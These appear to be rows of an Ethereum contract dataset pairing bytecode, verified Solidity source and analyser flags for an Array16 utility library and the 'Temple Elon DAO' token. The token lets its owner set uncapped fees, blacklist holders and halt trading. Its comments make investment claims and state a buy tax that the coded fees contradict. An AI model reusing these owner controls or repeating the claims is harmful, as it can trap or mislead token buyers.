16815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156122b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612345576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806129676021913960400191505060405180910390fd5b6123b18160405180606001604052806022815260200161289060229139600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121779092919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240981600b5461268c90919063ffffffff16565b600b81905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61248382826122bf565b6125448261248f6110cb565b61253f8460405180606001604052806024815260200161294360249139600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006124f56110cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121779092919063ffffffff16565b6110d3565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128b26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006126ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612177565b905092915050565b6000808314156126e95760009050612756565b60008284029050828482816126fa57fe5b0414612751576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806128fa6021913960400191505060405180910390fd5b809150505b92915050565b600061279e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127a6565b905092915050565b60008083118290612852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128175780820151818401526020810190506127fc565b50505050905090810190601f1680156128445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161285e57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820d0564250524fd79f1029bed592fca4f761247b3c877e22c7d11cc406a92b160464736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,444 |
0xB7B005615878EdeE1D7d9C3eaBD19f57120C9982 | pragma solidity 0.4.21;
/**
* @title Array16 Library
* @author Modular Inc, https://modular.network
*
* version 1.2.0
* Copyright (c) 2017 Modular, Inc
* The MIT License (MIT)
* https://github.com/Modular-Network/ethereum-libraries/blob/master/LICENSE
*
* The Array16 Library provides a few utility functions to work with
* storage uint16[] types in place. Modular provides smart contract services
* and security reviews for contract deployments in addition to working on open
* source projects in the Ethereum community. Our purpose is to test, document,
* and deploy reusable code onto the blockchain and improve both security and
* usability. We also educate non-profits, schools, and other community members
* about the application of blockchain technology.
* For further information: modular.network
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
library Array16Lib {
/// @dev Sum vector
/// @param self Storage array containing uint256 type variables
/// @return sum The sum of all elements, does not check for overflow
function sumElements(uint16[] storage self) public view returns(uint256 sum) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,16)))
remainder := mod(i,16)
for { let j := 0 } lt(j, remainder) { j := add(j, 1) } {
term := div(term,65536)
}
term := and(0x000000000000000000000000000000000000000000000000000000000000ffff,term)
sum := add(term,sum)
}
}
}
/// @dev Returns the max value in an array.
/// @param self Storage array containing uint256 type variables
/// @return maxValue The highest value in the array
function getMax(uint16[] storage self) public view returns(uint16 maxValue) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
maxValue := 0
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,16)))
remainder := mod(i,16)
for { let j := 0 } lt(j, remainder) { j := add(j, 1) } {
term := div(term,65536)
}
term := and(0x000000000000000000000000000000000000000000000000000000000000ffff,term)
switch lt(maxValue, term)
case 1 {
maxValue := term
}
}
}
}
/// @dev Returns the minimum value in an array.
/// @param self Storage array containing uint256 type variables
/// @return minValue The highest value in the array
function getMin(uint16[] storage self) public view returns(uint16 minValue) {
uint256 term;
uint8 remainder;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,16)))
remainder := mod(i,16)
for { let j := 0 } lt(j, remainder) { j := add(j, 1) } {
term := div(term,65536)
}
term := and(0x000000000000000000000000000000000000000000000000000000000000ffff,term)
switch eq(i,0)
case 1 {
minValue := term
}
switch gt(minValue, term)
case 1 {
minValue := term
}
}
}
}
/// @dev Finds the index of a given value in an array
/// @param self Storage array containing uint256 type variables
/// @param value The value to search for
/// @param isSorted True if the array is sorted, false otherwise
/// @return found True if the value was found, false otherwise
/// @return index The index of the given value, returns 0 if found is false
function indexOf(uint16[] storage self, uint16 value, bool isSorted)
public
view
returns(bool found, uint256 index) {
if (isSorted) {
uint256 high = self.length - 1;
uint256 mid = 0;
uint256 low = 0;
while (low <= high) {
mid = (low+high)/2;
if (self[mid] == value) {
found = true;
index = mid;
low = high + 1;
} else if (self[mid] < value) {
low = mid + 1;
} else {
high = mid - 1;
}
}
} else {
for (uint256 i = 0; i<self.length; i++) {
if (self[i] == value) {
found = true;
index = i;
i = self.length;
}
}
}
}
/// @dev Utility function for heapSort
/// @param index The index of child node
/// @return pI The parent node index
function getParentI(uint256 index) private pure returns (uint256 pI) {
uint256 i = index - 1;
pI = i/2;
}
/// @dev Utility function for heapSort
/// @param index The index of parent node
/// @return lcI The index of left child
function getLeftChildI(uint256 index) private pure returns (uint256 lcI) {
uint256 i = index * 2;
lcI = i + 1;
}
/// @dev Sorts given array in place
/// @param self Storage array containing uint256 type variables
function heapSort(uint16[] storage self) public {
if(self.length > 1){
uint256 end = self.length - 1;
uint256 start = getParentI(end);
uint256 root = start;
uint256 lChild;
uint256 rChild;
uint256 swap;
uint16 temp;
while(start >= 0){
root = start;
lChild = getLeftChildI(start);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end+1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
if(start == 0)
break;
else
start = start - 1;
}
while(end > 0){
temp = self[end];
self[end] = self[0];
self[0] = temp;
end = end - 1;
root = 0;
lChild = getLeftChildI(0);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end + 1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
}
}
}
/// @dev Removes duplicates from a given array.
/// @param self Storage array containing uint256 type variables
function uniq(uint16[] storage self) public returns (uint256 length) {
bool contains;
uint256 index;
for (uint256 i = 0; i < self.length; i++) {
(contains, index) = indexOf(self, self[i], false);
if (i > index) {
for (uint256 j = i; j < self.length - 1; j++){
self[j] = self[j + 1];
}
delete self[self.length - 1];
self.length--;
i--;
}
}
length = self.length;
}
} | 0x73b7b005615878edee1d7d9c3eabd19f57120c9982301460606040526004361061008f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806313b704fe146100945780632b35407d146100b7578063b1df4ec5146100e3578063c59d3b9c14610132578063e23f74ea14610166578063e855c4c81461019d575b600080fd5b811561009f57600080fd5b6100b560048080359060200190919050506101d1565b005b6100cd600480803590602001909190505061076c565b6040518082815260200191505060405180910390f35b610111600480803590602001909190803561ffff1690602001909190803515159060200190919050506107d2565b60405180831515151581526020018281526020019250505060405180910390f35b610148600480803590602001909190505061093a565b604051808261ffff1661ffff16815260200191505060405180910390f35b811561017157600080fd5b61018760048080359060200190919050506109b4565b6040518082815260200191505060405180910390f35b6101b36004808035906020019091905050610b22565b604051808261ffff1661ffff16815260200191505060405180910390f35b600080600080600080600060018880549050111561076257600188805490500396506101fc87610bae565b95508594505b6000861015156104465785945061021886610bcc565b93505b868411151561042d57600184019250849150878481548110151561023b57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff16888381548110151561027157fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff1610156102a3578391505b86831115801561031c575087838154811015156102bc57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff1688838154811015156102f257fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff16105b15610325578291505b8482141561033857600187019350610428565b878281548110151561034657fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff169050878581548110151561037a57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1688838154811015156103ac57fe5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508088868154811015156103ea57fe5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff16021790555081945061042585610bcc565b93505b61021b565b600086141561043b57610446565b600186039550610202565b5b600087111561076157878781548110151561045e57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff16905087600081548110151561049357fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1688888154811015156104c557fe5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508088600081548110151561050457fe5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff160217905550600187039650600094506105476000610bcc565b93505b868411151561075c57600184019250849150878481548110151561056a57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff1688838154811015156105a057fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff1610156105d2578391505b86831115801561064b575087838154811015156105eb57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff16888381548110151561062157fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff16105b15610654578291505b8482141561066757600187019350610757565b878281548110151561067557fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff16905087858154811015156106a957fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1688838154811015156106db57fe5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff16021790555080888681548110151561071957fe5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff16021790555081945061075485610bcc565b93505b61054a565b610447565b5b5050505050505050565b60008060008360605260005b84548110156107ca576010810460206060200154925060108106915060005b828110156107b2576201000084049350600181019050610797565b508261ffff1692508383019350600181019050610778565b505050919050565b60008060008060008086156108bf576001898054905003935060009250600091505b83821115156108ba57600284830181151561080b57fe5b0492508761ffff16898481548110151561082157fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff16141561086157600195508294506001840191506108b5565b8761ffff16898481548110151561087457fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff1610156108ad576001830191506108b4565b6001830393505b5b6107f4565b61092e565b600090505b888054905081101561092d578761ffff1689828154811015156108e357fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1661ffff1614156109205760019550809450888054905090505b80806001019150506108c4565b5b50505050935093915050565b6000806000836060526000925060005b84548110156109ac576010810460206060200154925060108106915060005b82811015610984576201000084049350600181019050610969565b508261ffff1692508284106001811461099c576109a0565b8394505b5060018101905061094a565b505050919050565b60008060008060008091505b8580549050821015610b1257610a098687848154811015156109de57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff1660006107d2565b809450819550505082821115610b05578190505b6001868054905003811015610aab578560018201815481101515610a3d57fe5b90600052602060002090601091828204019190066002029054906101000a900461ffff168682815481101515610a6f57fe5b90600052602060002090601091828204019190066002026101000a81548161ffff021916908361ffff1602179055508080600101915050610a1d565b856001878054905003815481101515610ac057fe5b90600052602060002090601091828204019190066002026101000a81549061ffff021916905585805480919060019003610afa9190610be1565b508180600190039250505b81806001019250506109c0565b8580549050945050505050919050565b60008060008360605260005b8454811015610ba6576010810460206060200154925060108106915060005b82811015610b68576201000084049350600181019050610b4d565b508261ffff1692506000811460018114610b8157610b85565b8394505b5082841160018114610b9657610b9a565b8394505b50600181019050610b2e565b505050919050565b600080600183039050600281811515610bc357fe5b04915050919050565b60008060028302905060018101915050919050565b815481835581811511610c1657600f016010900481600f01601090048360005260206000209182019101610c159190610c1b565b5b505050565b610c3d91905b80821115610c39576000816000905550600101610c21565b5090565b905600a165627a7a72305820d322be6917d889a8232eeab9e05aeedbefa5669b2ede63cd3c6df2edb4d765030029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,445 |
0x7e909b9d4fc23dfc6a183ed0d201079335849eca | /**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
// SPDX-License-Identifier: Unlicensed
//We are the DAO organization for Elon.
//It would be foolish to dismiss current market conditions and the issues that yield token mechanics have recently faced.
//Our program will provide a sustainable strategic investment for all participating members.
//Total: 100,000,000,000 (100%)
//Burn: 60,000,000,000 (60%)
//Liquidity: 4 ETH
//Buy: 0.5%
//Max wallet: 1%
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TEMPLELON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Temple Elon DAO";
string private constant _symbol = "Templelon";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 2;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 2;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x0a283d503b730A63d20b6131Cdbcaebe3c63E58B);
address payable private _marketingAddress = payable(0x0a283d503b730A63d20b6131Cdbcaebe3c63E58B);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000000 * 10**9;
uint256 public _maxWalletSize = 1000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610560578063dd62ed3e14610580578063ea1644d5146105c6578063f2fde38b146105e657600080fd5b8063a2a957bb146104db578063a9059cbb146104fb578063bfd792841461051b578063c3c8cd801461054b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104535780638f9a55c01461047357806395d89b411461048957806398a5c315146104bb57600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638da5cb5b1461043557600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196c565b610606565b005b34801561020a57600080fd5b5060408051808201909152600f81526e54656d706c6520456c6f6e2044414f60881b60208201525b60405161023f9190611a31565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a86565b6106a5565b604051901515815260200161023f565b34801561028457600080fd5b50601454610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b5068056bc75e2d631000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611ab2565b6106bc565b34801561030257600080fd5b506102c860185481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601554610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611af3565b610725565b34801561037457600080fd5b506101fc610383366004611b20565b610770565b34801561039457600080fd5b506101fc6107b8565b3480156103a957600080fd5b506102c86103b8366004611af3565b610803565b3480156103c957600080fd5b506101fc610825565b3480156103de57600080fd5b506101fc6103ed366004611b3b565b610899565b3480156103fe57600080fd5b506102c860165481565b34801561041457600080fd5b506102c8610423366004611af3565b60116020526000908152604090205481565b34801561044157600080fd5b506000546001600160a01b0316610298565b34801561045f57600080fd5b506101fc61046e366004611b20565b6108c8565b34801561047f57600080fd5b506102c860175481565b34801561049557600080fd5b506040805180820190915260098152682a32b6b83632b637b760b91b6020820152610232565b3480156104c757600080fd5b506101fc6104d6366004611b3b565b610910565b3480156104e757600080fd